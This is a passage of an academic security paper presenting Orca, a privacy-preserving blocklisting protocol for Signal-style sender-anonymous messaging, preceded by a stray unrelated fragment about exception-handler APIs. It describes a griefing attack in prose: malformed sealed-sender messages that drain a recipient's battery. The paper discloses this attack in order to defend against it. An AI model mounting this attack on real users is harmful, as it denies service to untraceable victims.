Table 11 lists the secure API functions available to un-

trusted exception handlers. They allow untrusted exception
handlers to resume or unblock a task and optionally send sig-
nals to the task through the notification bits. These secure API
functions contain the runtime check that verifies the current
exception priority.
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Abstract. Sender-anonymous end-to-end encrypted messag-
ing allows sending messages to a recipient without revealing
the sender’s identity to the messaging platform. Signal re-
cently introduced a sender anonymity feature that includes an
abuse mitigation mechanism meant to allow the platform to
block malicious senders on behalf of a recipient.

We explore the tension between sender anonymity and
abuse mitigation. We start by showing limitations of Signal’s
deployed mechanism, observing that it results in relatively
weak anonymity properties and showing a new griefing attack
that allows a malicious sender to drain a victim’s battery.
We therefore design a new protocol, called Orca, that allows
recipients to register a privacy-preserving blocklist with the
platform. Without learning the sender’s identity, the platform
can check that the sender is not on the blocklist and that the
sender can be identified by the recipient. We construct Orca
using a new type of group signature scheme, for which we
give formal security notions. Our prototype implementation
showcases Orca’s practicality.

1 Introduction
End-to-end (E2E) encrypted messaging, now relied upon by
billions of people due to products like Signal, WhatsApp,
Facebook Messenger, and more, provides strong E2E con-
fidentiality and integrity guarantees [5, 23]: the messaging
platform itself cannot read or modify user messages. The E2E
encryption protocols used [52] do not, however, attempt to
ensure anonymity, so the platform learns the sender and recip-
ient of every message sent over the network. While academic
systems [4, 6, 24, 25, 42, 45, 47, 57, 60, 61] have developed
protocols that hide the identity of senders and receivers from
platforms, they introduce expensive overheads.

A recent suggestion for pragmatic privacy improvements is
to aim solely for sender anonymity. Introduced by Signal in a
feature called “sealed sender” [48], sender anonymity ensures
that the sender’s identity is never revealed via messages to
the platform, e.g., the sender does not authenticate with an
account password or digital signature; messages reveal only
the intended recipient. While sealed sender does not hide
network-level identifiers such as IP addresses, one can do so
by composing it with Tor [27] or an anonymous broadcast [24,
41, 47, 53, 61].

In this work, we explore a key tension in sender-anonymous
systems: mitigating abuse by malicious senders. Already E2E

encryption makes some kinds of abuse mitigations, such as
content-based moderation, more challenging (c.f., [28, 30,
35, 58]). Sender anonymity complicates the setting further
because the lack of sender authentication means that the plat-
form cannot block unwanted messages on behalf of a recipient
in a conventional way.

To enable platform blocking, Signal’s sealed sender has
a user distribute an access key to their contacts that senders
must show to the platform when sending the user a sender-
anonymous message. If a sender cannot provide an access key,
the platform drops the message. A user that blocks a sender in
their client triggers a rotation of this key and a redistribution to
the (remaining) contacts. Future messages from the blocked
sender will be dropped by the platform.

We observe two deficiencies with this approach. First, ac-
cess keys must be distributed over non-sender-anonymous
channels, meaning the platform learns the identities of users
who can send sender-anonymous messages to a particular
recipient. This significantly lowers the anonymity guarantee—
in the limit of having only a single contact, there is no
anonymity at all.

Second, we show a simple “griefing” attack that works
despite the anti-abuse mechanism. By design, the sender is
hidden from the platform, and only the recipient can iden-
tify the sender of a sender-anonymous message. However, a
malicious sender can trivially craft malformed messages that
even the recipient will not be able to identify. The recipient’s
client rejects these messages, but not before processing them.
This is particularly problematic for mobile clients as it uses
up battery life; we experimentally verify that an attacker can
easily drain a target’s battery in a short period of time. To
make matters worse, neither victim nor platform can identify
the attacker, and so the victim will not know who to block.

We design a new abuse mitigation mechanism for privacy-
preserving blocklisting in sender-anonymous messaging. Our
protocol, called Orca, allows recipients to register a block-
list with the platform. The blocklist is privacy-preserving,
meaning it does not reveal the identities of the blocked users.
Senders construct messages that are anonymous to the plat-
form, but can be verified by the platform as being attributable
to a sender not present on the blocklist. If the sender is on the
blocklist or if the message is malformed, then the platform
rejects the message; if the message is delivered, the recipient
is guaranteed to be able to identify the sender.
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Importantly, Orca provides a new non-interactive initial-
ization functionality that allows a user to initiate sender-
anonymous messages without having previously commu-
nicated with the recipient. This significantly enhances the
anonymity guarantees, because it expands the anonymity set
to be as large as all registered users of the system.

In summary, our contributions are:
• We build a threat model for sender-anonymous messag-

ing and identify limitations in previous approaches, in-
cluding a new griefing attack against Signal’s sealed
sender that we evaluate.

• We construct a new group signature scheme [22] to make
up the core of Orca’s functionality. The new primitive is
tailored to the needs of our setting and supports multiple
openers, keyed verification, and local revocation; see Sec-
tion 4 for details. We provide new security definitions,
building upon ones from prior work [8, 14].

• We show an extension of Orca that integrates mecha-
nisms from anonymous credentials [20] to arrange that
the relatively expensive group signature scheme is only
used periodically when initiating a new conversation. Ini-
tialization will generate a batch of one-time-use sender
tokens [43, 44], which can be spent to authenticate mes-
sages and replenished at very low cost.

• We implement and evaluate Orca, suggesting that it is
sufficiently performant to deploy at scale. In particular,
once initialized, the token-based extension incurs only
30B additional bandwidth cost per message and only one
extra group exponentiation of computation for clients;
the platform need only compute a group exponentiation
and check the token against a strikelist. The computa-
tional cost for the platform is paid during initialization
which incurs work on the order of the size of the recipi-
ent’s blocklist (∼ 200ms for a blocklist of length 100).
We find that a medium-provisioned server can comfort-
ably support a deployment of a million users depending
on frequency of conversation initialization.

2 Setting: Sender Anonymity for E2EE
This work focuses on sender-anonymous E2E encrypted mes-
saging hosted by a centralized messaging platform. In this
section and throughout the body, we will often use Signal
as our running example. However, the techniques that we
introduce are relevant for any sender-anonymous messaging
system in which the platform learns the recipient identity.

2.1 Background: Signal and Sealed Sender

Non-sender-anonymous E2EE messaging. We first briefly
outline Signal’s non-sender-anonymous protocol. For simplic-
ity we restrict attention to one client per user. A user wishing
to send a message first registers an account with the platform
using a long-lived identity public key pks , retaining the asso-
ciated secret key sks . The user then must contact the platform

to obtain the long-lived public key pkr of their intended re-
cipient. Once this phase is complete, a client can securely
send messages via Signal’s double ratchet protocol [52]. This
provides state-of-the-art message confidentiality guarantees
even in the event of key compromise [5, 23].

Signal, like most other E2E encrypted messaging platforms,
requires users to authenticate their account when sending
and receiving messages. Importantly, this allows for abuse
prevention because the platform can block malicious senders,
and even block senders from talking to a specific recipient. On
the other hand, such account authentication, e.g., via public
key signature or unique account password, does not provide
cryptographic sender anonymity.
Sender anonymity with sealed sender. Sealed sender is Sig-
nal’s protocol [48] for cryptographic sender anonymity mo-
tivated by their desire to minimize the amount of trust their
users must place in the platform. We will now walk through a
high level summary of how sealed sender works.
Initialization and key exchange. As before, senders must first
register a public key pks with the platform. The user is issued
a short-lived sender certificate from the platform, that we
denote by cert. The certificate contains a digital signature
by the platform in order to attest to the validity of the user’s
identity key. These certificates must be periodically updated,
requiring the user to rerun the registration protocol.

To receive sealed messages a recipient must generate their
long-lived identity key pair (pkr ,skr) as usual, but now ad-
ditionally generate a 96-bit access key that we denote by ak.
Both pkr and ak are registered with the platform. Looking
ahead, senders will need to show ak to the platform to send
a sealed message. This means that the recipient must dis-
tribute ak to whomever they want to grant the ability to send
sealed messages. By default, the access key is distributed to
all contacts of a user through Signal’s original non-sender-
anonymous channel. Additionally, users can opt into accept-
ing sealed messages from anyone, including non-contacts. In
this case, senders do not need a recipient’s access key to send
them sealed messages.
Sending a sealed message. The pseudocode for sending and
receiving a message via sealed sender is provided in Figure 1.
It is designed to work modularly as a layer on top of any non-
sender-anonymous E2E encryption protocol. At a high level,
the protocol creates two ciphertexts: (1) an identity ciphertext
encrypting the sender’s long-lived public key pks to the recip-
ient, and (2) a content ciphertext encrypting the standard E2E
encryption ciphertext along with the sender certificate. The
identity ciphertext and content ciphertext cryptographically
hide the sender identity even if the underlying E2E encryption
ciphertext does not 1.

More specifically, the protocol encrypts the sender identity

1Signal’s use of the double ratchet algorithm produces ciphertexts that can
either include the sender identity in plaintext or include messaging metadata
such as counters used for in-order processing that would leak information
useful for linking senders.
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SealedSender.Send(m)

ctm← ratchet.Enc(m)

(pke ,ske)←$KeyGen()

salt1← (pkr ,pke)

(echain,ke)←HKDF(salt1,pk
ske
r )

ctid←$ AE.Enc(ke,pks)

salt2← (echain,ctid)

k← HKDF(salt2,pk
sks
r )

ctss←$ AE.Enc(k,cert‖ctm)

Return (pke ,ctid ,ctss),ak

SealedSender.Rcv(pke ,ctid ,ctss)

salt1← (pkr ,pke)

(echain,ke)←HKDF(salt1,pk
skr
e )

pks ← AE.Dec(ke,ctid)

salt2← (echain,ctid)

k← HKDF(salt2,pk
skr
s )

cert‖ctm← AE.Dec(k,ctss)

b← Verify(pks ,cert)

If b= 0 then return ⊥
m← ratchet.Dec(ctm)

Return m

Figure 1: Pseudocode for Signal’s sealed sender feature.

pks via a variant of hashed ElGamal [2] to produce the iden-
tity ciphertext ctid. In particular, it generates ephemeral key
pair (pke ,ske) and makes use of a hash-based key derivation
function HKDF and authenticated encryption scheme AE. The
sender then encrypts the plaintext m using the original double
ratchet algorithm ratchet.Enc(m). It bundles the resulting
ciphertext ctm and sender certificate cert and encrypts this
with a key derived from long-lived identity keys pks and pkr

to produce the content ciphertext ctss . The sender indicates
the intended recipient and sends the triple (pke , ctid, ctss)
along with the recipient’s access key ak to the platform.

Upon receipt of the sender’s message, the platform checks
that the intended recipient’s registered access key matches ak.
If this check passes, then the platform forwards the triple
(pke ,ctid,ctss) to the recipient. The recipient decrypts as
shown in Figure 1. Once it recovers cert and ctm, it veri-
fies the sender as a valid account using the certificate and
the recovered identity key pks . If the sender’s identity is au-
thenticated, then ctm is decrypted using the double ratchet
algorithm.

2.2 Limitations of Sealed Sender

There are limitations to Signal’s sealed sender protocol for
sender anonymity, which we raise here in the form of three
different classes of attacks.
Traffic analysis of sender-anonymous messages. An inher-
ent leakage of the sender-anonymous messaging setting (as
opposed to the sender- and recipient-anonymous setting) is
that the recipient of each message is inherently leaked to the
platform. Martiny et al. [49] demonstrate a set of statistical
disclosure attacks that use this leakage to infer communicating
partners, for example, by searching for users with interleaving
messages suggesting a back-and-forth conversation pattern.
They provide a modification to Signal’s sealed sender that pro-
tects against traffic analysis of sender-anonymous messages,
which they call “sender-anonymous conversations”. This mit-
igation approach, as well as another separate approach which
instead relies on random message delays and/or noise mes-
sages [53], do not provide solutions for blocklisting. The
techniques we introduce for supporting blocklists compose
well with these traffic analysis mitigations. Given this prior

work, we do not explicitly address traffic analysis of sender-
anonymous messages beyond considering the anonymity set,
as we discuss next.
Traffic analysis of non-sender-anonymous messages. Re-
call that access keys are distributed through Signal’s origi-
nal non-sender-anonymous channel. While this setup is still
encrypted, the platform nevertheless observes with whom
the user exchanged non-sender-anonymous messages. Thus,
when a sender anonymously authenticates using ak, the set of
users that could correspond to the sender (i.e., the anonymity
set of the sender) is restricted and known to the platform.
This means, for example, if a recipient only has a single con-
tact with which they have communicated, there is no sender
anonymity at all. Furthermore, if a user rotates their access
key to revoke sending access, this resets their anonymity set
of senders, as their new access key must be redistributed.

Martiny et al. [49] assume in their threat model that these
access keys have already been exchanged between commu-
nicating parties. Their attack can therefore be improved by
tracking the sender anonymity set of a recipient learned by the
platform. Notably, our solution for blocklisting will prevent
such improvements.
Griefing attack by evading identification. Sealed sender re-
lies on the sender to self-identify to the recipient: the platform
can not check for malformed messages. Instead, the recipient
must decrypt and check validity of the sender identity key
and certificate, dropping messages that do not verify. This al-
lows for a straightforward griefing attack in which an attacker
can spam the recipient with untraceable messages, causing
the recipient’s device to suffer battery drain and to consume
bandwidth, a type of user-mounted DoS attack.

We demonstrate through a proof-of-concept implementa-
tion that this griefing attack is effective. Our attack simply
modifies pke in (pke ,ctid,ctss) to a random value pkf . To
the platform this is indistinguishable from a legitimate sealed
sender message, but the recipient’s decryption will fail when
trying to decrypt ctid . The recipient cannot recover any infor-
mation about the sender. Running experiments on a Google
Pixel phone running Android 9, we find that sending just 1
message every 10 seconds causes the battery to drain at an in-
creased rate of 9× over baseline. We provide more extensive
measurements of this attack in Appendix A.

Ultimately, there are no satisfying mitigation options avail-
able to victims (see last section of Appendix A). If the victim
of the attack has opted in to accepting sealed sender messages
from non-contacts, the attack can be mounted by anyone. Oth-
erwise the attacker needs the recipient’s access key, meaning
the attacker must be one of the victim’s contacts (or has found
some other way to obtain the access key). While this limits
who can mount the attack in the default case, it is still prob-
lematic: The victim can rotate their access key ak and attempt
to redistribute a new ak′ to their communicating partners. If
the attacker is not able to get access to the new access key, the
attack will be stopped by the platform and no messages will
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Figure 2: Privacy-preserving, outsourced blocklisting for sender-
anonymous messaging. The platform is able to block messages from
users on Chloe’s blocklist without learning their identity. The top
view shows the functionality of outsourced blocklisting, while the
bottom view shows what is revealed to the platform. Not shown,
Chloe can also efficiently identify the sender of message m1 as
Alice and update her blocklist BLC if needed.

reach the victim’s client. But since the attack leaves no infor-
mation about which of the victim’s communicating partners
is responsible, the victim can only make a guess as to whom
they should block.

Realistically to maintain usability of their mobile device, a
user may limit Signal to only a few highly trusted contacts,
or will push the user off Signal to a less private messenger.
We consider both of these outcomes to be highly damaging to
vulnerable users that would benefit from a metadata-private
messenger. Looking forward, we will want a mechanism that
provides the user more granular recourse against misbehaving
senders.

3 Outsourced Blocklisting
We now turn to building a new sender-anonymous messaging
protocol that avoids the current weaknesses of sealed sender.
Our approach is to enable what we call privacy-preserving
outsourced blocklisting (see Figure 2).
Goals. Such a system should enjoy the following features:

• Sender anonymity: Messages cryptographically hide the
sender identity from the platform.

• Sender attribution: Recipients can cryptographically ver-
ify the sender of any ciphertexts delivered by the plat-
form.

• Blocklisting: Recipients can register a blocklist with the
platform and update it efficiently. The platform can use
the blocklist to drop sender-anonymous messages from
senders that the recipient has added to the blocklist.

• Blocklist anonymity: The blocklist should not reveal the
identities of the senders blocked by the recipient.

Together these properties prevent the type of griefing attacks
that affect sealed sender: a client receiving problematic mes-
sages can identify the sender and instruct the platform to drop

them on the client’s behalf.
We would also like the system to support:

• Non-interactive initialization: Users can begin sending
sender-anonymous messages without previous interac-
tion with the intended recipient.

This property obviates the use of non-sender-anonymous chan-
nels to initiate sender-anonymous communication. In particu-
lar, the platform should not be able to attribute messages to
some smaller subset of users, as messages can have originated
from any registered user of the system.

Orca is designed to accompany a sender-anonymous E2EE
messaging protocol to provide the functionality of outsourced
blocklisting while carrying over both the sender-anonymity
and message confidentiality properties of the underlying pro-
tocol. As such, we assume the underlying E2EE protocol is
sender-anonymous, and if it is not, can easily be made so
using encapsulation techniques similar to sealed sender (see
Figure 1). Our protocol will provide a registration process in
which users interact with the platform to generate the required
keys for the protocol; this will be done at the same time users
register for the underlying E2EE protocol. To send a message,
the sender first encrypts the message plaintext pt to the re-
cipient as specified by the E2EE protocol. Then, Orca will
concern itself with authenticating the delivery of the produced
E2EE ciphertext; the authenticity of the underlying message
plaintext needs to be provided by the E2EE protocol. We will
refer to the E2EE ciphertext as the “message” from Orca’s
perspective.
Threat model. We assume an active, persistent adversary
that controls the messaging platform and an arbitrary number
of users. We assume the clients of legitimate users are not
compromised and that they correctly abide by the protocol.

Our primary concern is the cryptographic anonymity of the
messaging protocol. The adversary, even with active devia-
tions from the protocol, should not be able to learn sender
identity information from the contents of protocol messages.

Even in the case that anonymity is achieved at the message
proctocol layer, identification information can leak through
the network layer, e.g., by associating IP addresses or by mak-
ing inferences based on timing. We consider preventing such
leakage to be orthogonal to the goal of providing a block-
listing solution for the message protocol layer: existing solu-
tions for mitigating network leakage will compose. Sender-
anonymous channels resilient to linking attacks that exploit IP
addresses can be constructed using services such as Tor [27];
linking attacks performed by stronger global network adver-
saries with the ability to observe and inject traffic along any
network link can be mitigated using prior academic solutions
for anonymous broadcasting [24, 41, 47, 53, 61]. Lastly, as
discussed in Section 2.2, given a sender-anonymous channel,
timing analysis of messages with designated recipients can
be mitigated using existing techniques [49, 53].

It is trivial for an active adversary that controls the platform

2302    31st USENIX Security Symposium USENIX Association



to deny service to arbitrary users by not delivering messages.
In future work, it may be valuable to provide a mechanism
for honest users to provably expose such misbehavior, but in
this work we leave platform-mounted denial-of-service (DoS)
attacks out of scope. On the other hand, we do want to protect
against user-mounted DoS attacks, in which a malicious user
can interact with an honest platform to deny service to other
users, as in the griefing attack.

Overview. We will now provide an overview of Orca’s design
by stepping through a series of strawman constructions.

Sender-specific one-time use access tokens. Instead of hav-
ing all senders authenticate by reusing the same shared access
token, the recipient can deal unique access tokens to each
sender. Reusing a sender-specific token allows linking by the
platform, so these tokens will necessarily be one-time use
only. We outline a version of this approach that is taken by
the Pond messaging system [43, 44].

On registration, recipients register a key k to a pseudoran-
dom function F , e.g. HMAC, with the platform. Recipients
distribute one-time use tokens of the form (x,y = F (k,x))
for random values x to senders. The platform verifies these
tokens using k and the recipient can identify senders since
they know to whom they dealt (x,y). A sender’s tokens are
refreshed in the normal exchange of messages. Now a recipi-
ent can block by reporting the unused tokens of a sender to
the platform; the platform tracks these tokens along with pre-
viously spent tokens for a recipient in a strikelist and rejects
incoming messages that authenticate with struck tokens. The
platform’s strikelist grows unbounded as more messages are
sent, but this cost can be managed by scheduled key rotations.

This blocklisting approach improves significantly over
sealed sender as it effectively removes the griefing attack
vector, however it does not address the concerns around leak-
age during initialization: the recipient still initially distributes
the access tokens over non-sender-anonymous channels to
senders, revealing to the platform a small set of possible
senders for future messages. A different approach is needed
to provide stronger sender anonymity with non-interactive
initialization.

Group signatures. A promising starting point for sender-
anonymous blocklisting with non-interactive initialization
is group signatures, a well-studied cryptographic primi-
tive [7, 8, 11, 17, 22]. Group signature schemes allow users
to sign messages anonymously on behalf of a group whose
membership is controlled by a group manager. Signatures
appear anonymous to everyone except to a special opening
authority who has the ability to deanonymize the signer and
revoke their signing ability.

Our next strawman solution has the platform maintain a sep-
arate group signature scheme for each registered user, where
the user is the opening authority and the platform is the group
manager. A sender registers with the platform under the de-
sired recipient’s group signature scheme. The sender sends

their message along with a signature on the message under
the recipient’s group to the platform. The platform then ver-
ifies the anonymized signature. For blocklisting, we use a
group signature scheme that supports verifier-local revoca-
tion [14]. This means that the recipient can revoke senders by
communicating only with the platform (i.e., verifier).

This strawman provides effective sender attribution and
blocklisting. It also allows senders to acquire group signature
credentials without previous interaction with the recipient.
However, messages to a recipient can be attributed by the plat-
form to the set of users that registered under the recipient’s
group signature scheme, so we do not achieve our stronger
anonymity goal. Furthermore, existing group signatures that
meet our requirements use expensive bilinear pairing oper-
ations, adding on to the efficiency concerns of managing a
separate scheme for each registered user.

We resolve these issues by proposing a new type of group
signature that introduces two novel features. The first is sup-
port for multiple opening authorities. This will dispense with
the per-recipient group signature schemes and the need to
register separately for each recipient that you wish to send to.
The second feature is keyed-verification, in which we observe
that the platform is also the only verifier. Removing public
verifiability improves efficiency of client-side operations.

This new group signature, presented in Section 4, makes up
the core of Orca. However even with our optimizations, e.g.,
keyed-verification, the group signature approach incurs signif-
icant computational cost, in particular for the platform, owing
to the use of verifier-local revocation: verifying a signature
incurs work linear in the size of the recipient’s blocklist.
Hybrid: Group signature with one-time tokens. This leads us
to our final construction which combines the use of group
signatures for non-interactive initialization with one-time use
tokens for efficient authentication of subsequent messages.
Here, the group signature is used to allow the sender to ac-
quire its first batch of tokens from the platform. The main
contribution of this approach is a new protocol for allowing
the platform to dispense tokens on behalf of the recipient.
This is challenging because the platform should not be able
to link newly minted tokens to a sender, but it must provide
a way for the recipient to learn to whom new tokens were
dealt (for future sender attribution). We construct this protocol
by adapting techniques from blinded issuance of anonymous
credentials [20]. After this (relatively) expensive initialization
procedure, users exchange new tokens in the normal flow of
conversation and the system enjoys all the efficiency benefits
of the token-based protocol. We describe Orca’s one-time
token extension in Section 5.

4 Orca’s Group Signature

Our main construction is based on a novel group signature
scheme. In this section, we will introduce our new group
signature abstraction, describe how to use it to construct an
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outsourced blocklisting protocol, and lastly provide an instan-
tiation of such a group signature,

4.1 Group Signature Syntax and Security

Group signatures [22] allow users to sign messages anony-
mously on behalf of a group. The basic setting is as follows.
The membership of a group is coordinated by a group man-
ager, with whom users register with in order to join the group.
Additionally, anonymous group signatures can be opened
(traced) to identify the signing user in the group by a desig-
nated opening authority.

We make use of three extensions to the basic group signa-
ture setting.

(1) Verifier local revocation: A group signature supporting
revocation allows the opening authority to additionally
revoke the signing ability of group members. Verifier
local revocation means that to revoke a member, the
opening authority need only communicate a revocation
message to verifying parties (as opposed to both veri-
fying parties and group members); revocation does not
affect the way group members sign messages.

(2) Multiple opening authorities: An opening authority is
created through registration with the group manager.
Group members sign messages designated to one of
many opening authorities, and only the opening author-
ity that a signature is designated to is able to open the
signature to the signer’s identity. Revocation is han-
dled separately per opening authority, meaning a group
member may be able to sign messages designated for
some opening authorities, but be revoked from signing
messages to others.

(3) Keyed verification: Verification of group signatures can
only be completed by a secret key owned by the group
manager and shared to verifying parties. This is particu-
larly useful in cases where the group manager is the only
party verifying signatures and allows for more efficient
schemes than those that achieve public verifiability.

Verifier local revocation has been previously studied [14],
but the other two extensions are novel to the best of our knowl-
edge. The model and following security definitions for our
new setting are derived from [8, 14].
Syntax. A multi-opener, keyed-verification group signature
scheme GS is run between three types of participating parties:
(1) users U that join the group and sign messages, (2) opening
authorities OA that can trace signatures to signers, and (3) a
group manager GM to coordinate registration and perform
verification. It consists of the following algorithms:

• pp←$GS.Setup(λ): The setup algorithm defines the
public parameters pp. We will assume pp is available
to all algorithms, and all parties have assurance it was
created correctly.

• (gmpk,gmsk)←$GS.KgppGM(): The key generation al-

gorithm is run by the group manager to generate a public
key gmpk and secret key gmsk.

• GS.JoinUpp
U ↔ GS.IssueUpp

GM: Group registration is
an interactive protocol implemented by GS.JoinU and
GS.IssueU run between a user and the group manager,
respectively. If execution is successful, the user will re-
ceive a public, secret key pair (upk,usk) and the group
manager will receive upk, else both parties receive ⊥. If
the protocol accepts, the group manager will store upk
in a global registration table and reject duplicate upk
registrations.

• GS.JoinOApp
OA ↔ GS.IssueOApp

GM: Opening authority
registration is an interactive protocol run between a
prospective opening authority and the group manager.
If execution is successful, the opening authority will
receive a public, secret key pair (oapk,oask) and the
group manager will receive and store oapk in the regis-
tration table, else both parties receive ⊥.

• σ←$GS.SignppU (usk,gmpk,oapk,m): The signing al-
gorithm is run by a group member to produce a group
signature σ on a message m designated for opening au-
thority oapk.

• upk ← GS.OpenppOA(oask,m,σ): The opening algo-
rithm is run by an opening authority to learn the identity
of the signing user upk, and returns ⊥ upon failure.

• τR←$GS.RevokeppOA(oask,upk): The revocation algo-
rithm is run by an opening authority to create a revo-
cation token τR for a user upk. The opening authority
sends the revocation token to the group manager who
includes it in a revocation list RL used for verification.

• b ← GS.VerppGM(gmsk,oapk,RL,m,σ): The verifica-
tion algorithm is run by the group manager to determine
if an input signature σ and m are valid under a designated
opening authority oapk and revocation list RL.

As mentioned, we assume some global registration table
that contains all user public keys upk and opening authority
public keys oapk that succeed registration. In practice, such
a table might be implemented with a public key infrastructure
(PKI) supporting key transparency audits [50] allowing it be
hosted by the untrusted platform. Additionally, for simplicity,
we may drop the executing party from the subscript and the
public parameters from the superscript if their use is clear
from context.
Correctness and security notions. We extend the standard
notions of correctness and security from [8, 14]. Here, we
describe correctness and then the three security properties:
anonymity, traceability, and non-frameability. The properties
are formalized via security games involving an adversary in
the full version [59].

The correctness property concerns signatures generated
by honest group members. An honestly generated signature
should pass verification under all honestly generated revoca-
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tion lists that do not include a revocation token for the signing
user created by the designated opening authority. An hon-
estly generated signature should also be opened to the correct
signing user by the designated opening authority.

The anonymity property captures that an adversary without
access to the designated opening authority’s key should not be
able to determine the signer of a signature among unrevoked
group members. The adversary has the power of an actively
malicious group manager and may adaptively compromise
group members and opening authorities. More specifically,
we target CCA-selfless-anonymity [11] meaning signatures
are not anonymous to the signer (selfless) and the adversary
has access to an opening oracle throughout the security game
(CCA). We consider rogue key attacks, allowing the adversary
to create public keys for corrupted parties, but require the ad-
versary to prove knowledge of secret keys. We model this, for
simplicity, by asking the adversary to produce the secret key
for generated public keys following the knowledge of secret
key model of [10], which can be instantiated with extractible
proofs of knowledge. We also provide an extension of our
anonymity game to capture anonymity of revocation tokens
(in addition to signatures) that is, to our knowledge, the first
definitional attempt at doing so.

Traceability ensures that every signature that passes veri-
fication can be opened by the designated opening authority
to a registered user. Traceability necessarily considers an ad-
versary that does not control the group manager since it is
trivial for the group manager to craft signatures for unregis-
tered public keys. However, traceability is accompanied by
non-frameability which ensures that it is not possible to forge
a signature that opens to an honest user; non-frameability con-
siders a stronger adversary that controls the group manager
as in anonymity.

Bilinear pairing groups. Our construction will make use of
bilinear pairing groups for which we will use the following
notation. (1) Groups G1,G2,GT are cyclic groups of prime
order p. (2) Group element g1 is a generator of G1, g2 is a
generator of G2. (3) Pairing function e :G1×G2→GT is a
computable map with the following properties: Bilinearity:
∀ u ∈ G1, v ∈ G2, and a,b ∈ Z, e(ua,vb) = e(u,v)ab, and
Non-degeneracy: e(g1,g2) 6= 1. We assume an efficient setup
algorithm that on input security parameter λ, generates a bilin-
ear group, (p,G1,G2,GT ,g1,g2,e)←G(λ), where |p|= λ.

4.2 Outsourced Blocklisting from Group Signatures

Given a keyed-verification, multi-opener group signature with
verifier-local revocation, we build our core protocol, detailed
in Figure 3. The platform plays the role of the group manager.
Users register with the platform as both a user of the group
and as an opening authority, receiving keys (uski,oaski). For
user i to send a message to user j, assume for now that user
i has user j’s public keys (upkj ,oapkj). We will describe
how user i obtains these keys shortly.

User i signs their message with uski under the group sig-
nature scheme designating oapkj as the opening authority.
The platform verifies the anonymous group signature against
user j’s revocation list, and if it verifies, delivers the message
and signature to user j, who can then identify the sender,
upki, by opening the signature. Users can blocklist a sender
upki to the platform by generating a revocation token un-
der their opening authority key oaskj and sending it to the
platform. Anonymity of the group signature and revocation
tokens ensure that the platform does not learn sender identity
information from messages or from the blocklist; and trace-
ability and non-frameability ensure recipients will be able to
properly attribute received messages to a sender.

To achieve our stronger sender anonymity goal, user i must
be able to read the public key information of user j needed
to start a conversation without revealing their own identity to
the platform. Since public key information is not sensitive,
the platform can provide unrestricted access to PKI lookups
that do not require user authentication. Note that the platform
can observe the number of lookups to a recipient’s public key,
but learns no information on which users are making those
lookups. We discuss how the platform can restrict access to
resources and maintain anonymity in Section 8.

4.3 Construction of Group Signature

Our group signature follows closely the “certified signature”
recipe that many group signatures take [34]. In this recipe,
the group manager registers users by certifying their public
key Y = gy; the user’s group key is made up of their secret
identity key y along with the group manager’s certificate t. To
sign a message under the group, the user encrypts their public
key to the opening authority creating an identity ciphertext
where Z is the opening authority’s encryption key.

ctid← (gαct
1 ,Y Zαct) αct←$Zp

They then prove in zero knowledge that they have a certifi-
cate from the group manager on the same public key that is
enclosed in the ciphertext and that they know the secret key
associated to it. The signature is verified by verifying the zero
knowledge proof and can be opened by the opening authority
simply by decrypting the identity ciphertext.

This recipe naturally extends to support a scheme with mul-
tiple opening authorities. The identity ciphertext is encrypted
using the public key of the designated opening authority.
Supporting verifier-local revocation. An opening authority
registers with two keys: (1) an encryption key (z,Z = gz1),
and (2) a revocation key (w,W = gw1 ), where oapk = (W,Z).
We have described how a user with identity key (y,Y = gy1 )
encrypts their public key Y to the opening authority. To re-
voke a user’s signing ability, the opening authority constructs
a user-specific revocation token as the Diffie-Hellman value
between the user’s public key and their own revocation key,
τR = Y w. Intuitively, these revocation tokens are anonymous
since a Diffie-Hellman value looks random to a verifier that
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Protocol 1: Orca Outsourced Blocklisting Protocol

Setup:

(1) Public parameters for the group signature scheme are generated,
pp←$GS.Setup(λ).

(2) The platform initializes its state as the group manager of the group
signature scheme.

(a) (gmpk,gmsk)←$GS.KgppGM()

(b) TU ← [·]: Table tracking user public keys.
(c) TR← [·]: Table tracking user revocation tokens.

Registration:

(1) User registers with platform to acquire group signature signing key with
which to send messages, GS.JoinUpp

U ↔ GS.IssueUpp
GM. User stores

usk and platform stores upk.
(2) User registers as opening authority and generates keys with which to re-

ceive messages, GS.JoinOApp
OA↔ GS.IssueOApp

GM. User stores oask
and platform stores oapk.

(3) Platform stores public keys in TU [upk]← oapk.
(4) Platform initializes empty revocation token list for user, TR[oapk]← [·].
Sending a message:

(1) [Optional] Sender anonymously requests recipient public key (oapk)
and/or rate-limited pre-keys from platform (described in Section 8).

(2) Sender signs message specifying the recipient as the opening author-
ity (with recipient’s oapk), σ←$GS.SignppU (usk,gmpk,oapk,m).
Sender sends message, signature, and recipient to platform, (m,σ,oapk).

(3) Platform checks validity of signature against recipient’s revocation list,
b←GS.VerppGM(gmsk,oapk,TR[oapk],m,σ). If b=1, then platform
delivers (m,σ) to recipient.

Blocklisting a user:

(1) Recipient generates and sends anonymous revocation token to platform,

(a) upk← GS.OpenppOA(oask,m,σ)

(b) τR←$GS.RevokeppOA(oask,upk)

(2) Platform adds revocation token to recipient’s blocklist,
TR[oapk]← TR[oapk]∪{τR}.

(3) [Optional] Recipient stores identities of blocklisted senders and/or reports
sender identity to platform (described in Section 8).

Figure 3: Core protocol based on group signature.

does not know the secret keys y or w.

To allow a verifier in possession of a user’s revocation to-
ken to identify signatures from a user, we need something
more. In addition to the identity ciphertext, the user also
constructs a revocation ciphertext enclosing their revocation
token, τR =W y. This “ciphertext” is constructed to be un-
decryptable, but includes a backdoor for testing whether a
plaintext pt is enclosed (following the approach of Boneh
and Shacham [14]).

ctR← (M
αT
1 , τRN

αT
1 ) αT←$Zp M1,N1←$G1

The backdoor of ctR consists of the isomorphic G2 elements
M2,N2. The verifier can check whether τ̂R is enclosed in ctR
via the following test using the pairing function e:

e(T2/τ̂R,M2)
?
= e(T1,N2) (T1,T2)← ctR

The verifier performs this test for each revocation token in an

opening authority’s revocation list and outputs 1 if no revoca-
tion token matches and the signature’s proof verifies. The sig-
nature’s proof now additionally proves the well-formedness
of ctR with respect to user public key Y .
Improving efficiency with keyed-verification. A central
part of the group signature is that the user must prove they
have a certificate on their public key from the group manager.
Creating this proof, even for certificate signatures designed
for this purpose [11, 19], is relatively expensive, with known
constructions requiring multiple pairings to be evaluated. In
our setting, the platform plays the role of both the group
manager and the sole verifier; all messages pass through the
platform. This setting allows us to bring in techniques from
keyed-verification anonymous credentials [20]. Specifically,
during user registration, instead of receiving a signature from
the group manager, users receive a MAC t on their public
key from an algebraic MAC scheme; our construction uses
MACGGM from [20, 29]. Proving knowledge of a valid MAC
is more efficient and, in particular, does not require pairing
evaluations. The resulting proof can only be verified using
the secret MAC key (held by the group manager), hence our
